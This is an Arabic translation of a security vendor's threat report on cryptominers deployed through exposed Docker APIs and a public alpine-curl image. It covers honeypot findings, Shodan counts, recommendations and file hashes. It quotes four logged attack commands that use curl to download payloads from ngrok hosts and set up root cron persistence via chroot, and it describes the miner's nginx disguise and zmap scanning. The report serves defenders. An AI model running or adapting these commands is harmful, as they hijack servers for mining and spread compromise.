كيف يتم استخدام Docker API غير الخاص والصور العامة من المجتمع لتوزيع مُعدِّني العملات المشفرة

كيف يتم استخدام Docker API غير الخاص والصور العامة من المجتمع لتوزيع مُعدِّني العملات المشفرة

قمنا بتحليل البيانات التي تم جمعها باستخدام حاويات مصيدة الجذب، والتي أنشأناها لتتبع التهديدات. واكتشفنا نشاطًا كبيرًا من القائمين بتعدين العملات المشفرة غير المرغوب فيهم أو غير المصرح لهم والذين تم نشرهم كحاويات مارقة باستخدام صورة منشورة من قبل المجتمع على Docker Hub. يتم استخدام الصورة كجزء من خدمة تقدم عمال مناجم العملات المشفرة الضارين.

بالإضافة إلى ذلك، يتم تثبيت برامج للعمل مع الشبكات لاختراق الحاويات والتطبيقات المجاورة المفتوحة.

نحن نترك مصائد الجذب الخاصة بنا كما هي، أي بالإعدادات الافتراضية، دون أي إجراءات أمنية أو تثبيت لاحق لبرامج إضافية. يرجى ملاحظة أن Docker لديه توصيات للإعداد الأولي لتجنب الأخطاء ونقاط الضعف البسيطة. لكن مصائد الجذب المستخدمة هي حاويات، مصممة لاكتشاف الهجمات التي تستهدف منصة الحاويات، وليس التطبيقات الموجودة داخل الحاويات.

يعد النشاط الضار المكتشف ملحوظًا أيضًا لأنه لا يتطلب ثغرات أمنية وهو أيضًا مستقل عن إصدار Docker. إن العثور على صورة حاوية تم تكوينها بشكل غير صحيح، وبالتالي مفتوحة، هو كل ما يحتاجه المهاجمون لإصابة العديد من الخوادم المفتوحة.

تسمح واجهة Docker API غير المغلقة للمستخدم بتنفيذ مجموعة واسعة من المهام الأوامر، بما في ذلك الحصول على قائمة بالحاويات قيد التشغيل، والحصول على السجلات من حاوية معينة، والبدء والإيقاف (بما في ذلك القسري) وحتى إنشاء حاوية جديدة من صورة معينة بإعدادات محددة.

كيف يتم استخدام Docker API غير الخاص والصور العامة من المجتمع لتوزيع مُعدِّني العملات المشفرة
على اليسار توجد طريقة تسليم البرامج الضارة. على اليمين توجد بيئة المهاجم، والتي تسمح بإخراج الصور عن بعد.

كيف يتم استخدام Docker API غير الخاص والصور العامة من المجتمع لتوزيع مُعدِّني العملات المشفرة
التوزيع حسب البلد لـ 3762 واجهة برمجة تطبيقات Docker مفتوحة. بناءً على بحث شودان بتاريخ 12.02.2019/XNUMX/XNUMX

خيارات سلسلة الهجوم والحمولة

تم اكتشاف النشاط الضار ليس فقط بمساعدة مصائد مخترقي الشبكات. تُظهر البيانات الواردة من Shodan أن عدد واجهات Docker API المكشوفة (انظر الرسم البياني الثاني) قد زاد منذ أن قمنا بالتحقق من حاوية تم تكوينها بشكل خاطئ تُستخدم كجسر لنشر برنامج تعدين العملة المشفرة Monero. في أكتوبر من العام الماضي (2018، البيانات الحالية يمكنك أن تبدو مثل هذا تقريبا. مترجم) لم يكن هناك سوى 856 واجهة برمجة تطبيقات مفتوحة.

أظهر فحص سجلات مصيدة الجذب أن استخدام صورة الحاوية كان مرتبطًا أيضًا باستخدام نجروك، أداة لإنشاء اتصالات آمنة أو إعادة توجيه حركة المرور من نقاط يمكن الوصول إليها بشكل عام إلى عناوين أو موارد محددة (على سبيل المثال المضيف المحلي). يتيح ذلك للمهاجمين إنشاء عناوين URL ديناميكيًا عند تسليم الحمولة إلى خادم مفتوح. فيما يلي أمثلة التعليمات البرمجية من السجلات التي توضح إساءة استخدام خدمة ngrok:

Tty: false
Command: “-c curl –retry 3 -m 60 -o /tmp9bedce/tmp/tmpfilece427fe0eb0426d997cb0455f9fbd283d ”hxxp://12f414f1[.]ngrok[.]io/f/serve?l=d&r=ce427fe0eb0426d997cb0455f9fbd283”;echo ”* * * * * root sh /tmp/tmpfilece427fe0eb0426d997cb0455f9fbd283d” >/tmp9bedce/etc/crontab;echo ”* * * * * root sh /tmp/tmpfilece427fe0eb0426d997cb0455f9fbd283d” >/tmp9bedce/etc/cron.d/1m;chroot /tmp9bedce sh -c ”cron || crond””,
Entrypoint: “/bin/sh”

Tty: false,
Command: “-c curl –retry 3 -m 60 -o /tmp570547/tmp/tmpfilece427fe0eb0426d997cb0455f9fbd283d ”hxxp://5249d5f6[.]ngrok[.]io/f/serve?l=d&r=ce427fe0eb0426d997cb0455f9fbd283”;echo ”* * * * * root sh /tmp/tmpfilece427fe0eb0426d997cb0455f9fbd283d” >/tmp570547/etc/crontab;echo ”* * * * * root sh /tmp/tmpfilece427fe0eb0426d997cb0455f9fbd283d” >/tmp570547/etc/cron.d/1m;chroot /tmp570547 sh -c ”cron || crond””,
Entrypoint: “/bin/sh”

Tty: false,
Command: “-c curl –retry 3 -m 60 -o /tmp326c80/tmp/tmpfilece427fe0eb0426d9aa8e1b9ec086e4eed ”hxxp://b27562c1[.]ngrok[.]io/f/serve?l=d&r=ce427fe0eb0426d9aa8e1b9ec086e4ee”;echo ”* * * * * root sh /tmp/tmpfilece427fe0eb0426d9aa8e1b9ec086e4eed” >/tmp326c80/etc/crontab;echo ”* * * * * root sh /tmp/tmpfilece427fe0eb0426d9aa8e1b9ec086e4eed” >/tmp326c80/etc/cron.d/1m;chroot /tmp326c80 sh -c ”cron || crond””,
Entrypoint: “/bin/sh”,

Tty: false,
Cmd: “-c curl –retry 3 -m 60 -o /tmp8b9b5b/tmp/tmpfilece427fe0eb0426d9aa8e1b9ec086e4eed ”hxxp://f30c8cf9[.]ngrok[.]io/f/serve?l=d&r=ce427fe0eb0426d9aa8e1b9ec086e4ee”;echo ”* * * * * root sh /tmp/tmpfilece427fe0eb0426d9aa8e1b9ec086e4eed” >/tmp8b9b5b/etc/crontab;echo ”* * * * * root sh /tmp/tmpfilece427fe0eb0426d9aa8e1b9ec086e4eed” >/tmp8b9b5b/etc/cron.d/1m;chroot /tmp8b9b5b sh -c ”cron || crond””,
Entrypoint: “/bin/sh”

كما ترون، يتم تنزيل الملفات التي تم تحميلها من عناوين URL المتغيرة باستمرار. تحتوي عناوين URL هذه على تاريخ انتهاء صلاحية قصير، لذا لا يمكن تنزيل الحمولات بعد تاريخ انتهاء الصلاحية.

هناك خياران للحمولة. الأول هو أداة تعدين ELF مجمعة لنظام التشغيل Linux (تُعرف باسم Coinminer.SH.MALXMR.ATNO) والتي تتصل بمجمع التعدين. والثاني هو برنامج نصي (TrojanSpy.SH.ZNETMAP.A) مصمم للحصول على أدوات شبكة معينة تستخدم لفحص نطاقات الشبكة ثم البحث عن أهداف جديدة.

يقوم البرنامج النصي بالقطارة بتعيين متغيرين، يتم استخدامهما بعد ذلك لنشر أداة تعدين العملة المشفرة. يحتوي متغير HOST على عنوان URL الذي توجد به الملفات الضارة، ومتغير RIP هو اسم الملف (في الواقع، التجزئة) الخاص بعامل التعدين الذي سيتم نشره. يتغير المتغير HOST في كل مرة يتغير فيها متغير التجزئة. يحاول البرنامج النصي أيضًا التحقق من عدم وجود عمال تعدين آخرين للعملات المشفرة على الخادم الذي تمت مهاجمته.

كيف يتم استخدام Docker API غير الخاص والصور العامة من المجتمع لتوزيع مُعدِّني العملات المشفرة
أمثلة على متغيرات HOST وRIP، بالإضافة إلى مقتطف التعليمات البرمجية المستخدم للتحقق من عدم تشغيل أي عمال تعدين آخرين

قبل بدء تشغيل المُعدن، تتم إعادة تسميته إلى nginx. تعمل الإصدارات الأخرى من هذا البرنامج النصي على إعادة تسمية المُعدِّن إلى خدمات شرعية أخرى قد تكون موجودة في بيئات Linux. عادةً ما يكون هذا كافيًا لتجاوز عمليات التحقق من قائمة العمليات قيد التشغيل.

يحتوي البرنامج النصي للبحث أيضًا على ميزات. إنه يعمل مع نفس خدمة URL لنشر الأدوات اللازمة. ومن بينها برنامج zmap الثنائي، والذي يستخدم لفحص الشبكات والحصول على قائمة بالمنافذ المفتوحة. يقوم البرنامج النصي أيضًا بتحميل ثنائي آخر يُستخدم للتفاعل مع الخدمات التي تم العثور عليها واستقبال الشعارات منها لتحديد معلومات إضافية حول الخدمة التي تم العثور عليها (على سبيل المثال، إصدارها).

يحدد البرنامج النصي أيضًا بعض نطاقات الشبكة التي سيتم فحصها مسبقًا، ولكن هذا يعتمد على إصدار البرنامج النصي. كما يقوم أيضًا بتعيين المنافذ المستهدفة من الخدمات - في هذه الحالة، Docker - قبل تشغيل الفحص.

بمجرد العثور على الأهداف المحتملة، تتم إزالة اللافتات منها تلقائيًا. يقوم البرنامج النصي أيضًا بتصفية الأهداف اعتمادًا على الخدمات أو التطبيقات أو المكونات أو الأنظمة الأساسية محل الاهتمام: Redis، وJenkins، وDrupal، وMODX، سيد Kubernetesوعميل Docker 1.16 وApache CouchDB. إذا كان الخادم الذي تم فحصه يطابق أيًا منها، فسيتم حفظه في ملف نصي، والذي يمكن للمهاجمين استخدامه لاحقًا للتحليل والاختراق لاحقًا. ويتم تحميل هذه الملفات النصية إلى خوادم المهاجمين عبر روابط ديناميكية. أي أنه يتم استخدام عنوان URL منفصل لكل ملف، مما يعني صعوبة الوصول إليه لاحقًا.

ناقل الهجوم هو صورة Docker، كما يمكن رؤيته في الجزأين التاليين من التعليمات البرمجية.

كيف يتم استخدام Docker API غير الخاص والصور العامة من المجتمع لتوزيع مُعدِّني العملات المشفرة
في الأعلى توجد إعادة التسمية إلى خدمة شرعية، وفي الأسفل توجد كيفية استخدام zmap لفحص الشبكات

كيف يتم استخدام Docker API غير الخاص والصور العامة من المجتمع لتوزيع مُعدِّني العملات المشفرة
في الأعلى توجد نطاقات شبكة محددة مسبقًا، وفي الأسفل توجد منافذ محددة للبحث عن الخدمات، بما في ذلك Docker

كيف يتم استخدام Docker API غير الخاص والصور العامة من المجتمع لتوزيع مُعدِّني العملات المشفرة
تُظهر لقطة الشاشة أنه تم تنزيل صورة جبال الألب أكثر من 10 ملايين مرة

استنادًا إلى Alpine Linux وcurl، وهي أداة CLI فعالة في استخدام الموارد لنقل الملفات عبر بروتوكولات مختلفة، يمكنك إنشاءها صورة عامل الميناء. وكما ترون في الصورة السابقة، فقد تم بالفعل تنزيل هذه الصورة أكثر من 10 مليون مرة. قد يعني العدد الكبير من التنزيلات استخدام هذه الصورة كنقطة دخول؛ فقد تم تحديث هذه الصورة منذ أكثر من ستة أشهر؛ ولم يقم المستخدمون بتنزيل صور أخرى من هذا المستودع في كثير من الأحيان. في دوكر نقطة الدخول - مجموعة من التعليمات المستخدمة لتكوين الحاوية لتشغيلها. إذا كانت إعدادات نقطة الإدخال غير صحيحة (على سبيل المثال، ترك الحاوية مفتوحة من الإنترنت)، فيمكن استخدام الصورة كمتجه للهجوم. يمكن للمهاجمين استخدامه لتسليم حمولة إذا وجدوا حاوية مفتوحة غير مدعومة أو تم تكوينها بشكل خاطئ.

من المهم أن نلاحظ أن هذه الصورة (alpine-curl) في حد ذاتها ليست ضارة، ولكن كما ترون أعلاه، يمكن استخدامها لأداء وظائف ضارة. يمكن أيضًا استخدام صور Docker المماثلة لتنفيذ أنشطة ضارة. لقد اتصلنا بـ Docker وعملنا معهم بشأن هذه المشكلة.

توصيات

إعداد غير صحيح بقايا مشكلة مستمرة للعديد من الشركات، وخاصة تلك المنفذة DevOps، تركز على التطوير السريع والتسليم. ويتفاقم كل شيء بسبب ضرورة الالتزام بقواعد التدقيق والمراقبة، والحاجة إلى مراقبة سرية البيانات، فضلاً عن الأضرار الجسيمة الناجمة عن عدم الالتزام بها. إن دمج أتمتة الأمان في دورة حياة التطوير لا يساعدك فقط في العثور على الثغرات الأمنية التي قد لا يتم اكتشافها، ولكنه يساعدك أيضًا على تقليل عبء العمل غير الضروري، مثل تشغيل إصدارات برامج إضافية لكل ثغرة أمنية مكتشفة أو تكوين خاطئ بعد نشر التطبيق.

الحادثة التي نناقشها في هذا المقال تسلط الضوء على ضرورة مراعاة السلامة منذ البداية، بما في ذلك التوصيات التالية:

  • بالنسبة لمسؤولي النظام والمطورين: تحقق دائمًا من إعدادات واجهة برمجة التطبيقات لديك للتأكد من تكوين كل شيء لقبول الطلبات الواردة من خادم معين أو شبكة داخلية فقط.
  • اتبع مبدأ الحقوق الأقل: تأكد من توقيع صور الحاوية والتحقق منها، وتقييد الوصول إلى المكونات المهمة (خدمة تشغيل الحاوية)، وإضافة التشفير إلى اتصالات الشبكة.
  • إتبع التوصيات وتمكين آليات الأمن، على سبيل المثال. من دوكر ومدمج ميزات السلامة.
  • استخدم الفحص التلقائي لأوقات التشغيل والصور للحصول على معلومات إضافية حول العمليات الجاري تشغيلها في الحاوية (على سبيل المثال، لاكتشاف الانتحال أو البحث عن الثغرات الأمنية). يساعد التحكم في التطبيقات ومراقبة تكاملها على تتبع التغييرات غير الطبيعية في الخوادم والملفات ومناطق النظام.

يساعد Trendmicro فرق DevOps على البناء بشكل آمن، والنشر بسرعة، والتشغيل في أي مكان. تريند مايكرو الأمن السحابي الهجين يوفر أمانًا قويًا ومبسطًا وآليًا عبر مسار DevOps الخاص بالمؤسسة ويوفر دفاعات متعددة ضد التهديدات XGen لحماية أعباء العمل المادية والافتراضية والسحابية في وقت التشغيل. كما أنه يضيف أمان الحاويات مع الأمن العميق и فحص ذكي للأمان العميق، والتي تقوم بفحص صور حاوية Docker بحثًا عن البرامج الضارة ونقاط الضعف في أي نقطة في مسار التطوير لمنع التهديدات قبل نشرها.

علامات التسوية

التجزئة ذات الصلة:

  • 54343fd1555e1f72c2c1d30369013fb40372a88875930c71b8c3a23bbe5bb15e (Coinminer.SH.MALXMR.ATNO)
  • f1e53879e992771db6045b94b3f73d11396fbe7b3394103718435982a7161228 (TrojanSpy.SH.ZNETMAP.A)

في دورة فيديو دوكر يوضح المتحدثون الممارسون الإعدادات التي يجب إجراؤها أولاً لتقليل الاحتمالية أو تجنب حدوث الموقف الموضح أعلاه تمامًا. وفي الفترة من 19 إلى 21 أغسطس في دورة مكثفة عبر الإنترنت أدوات DevOps والغش يمكنك مناقشة هذه المشاكل الأمنية وما شابهها مع الزملاء والمعلمين الممارسين على طاولة مستديرة، حيث يمكن للجميع التحدث والاستماع إلى آلام ونجاحات الزملاء ذوي الخبرة.

المصدر: www.habr.com

إضافة تعليق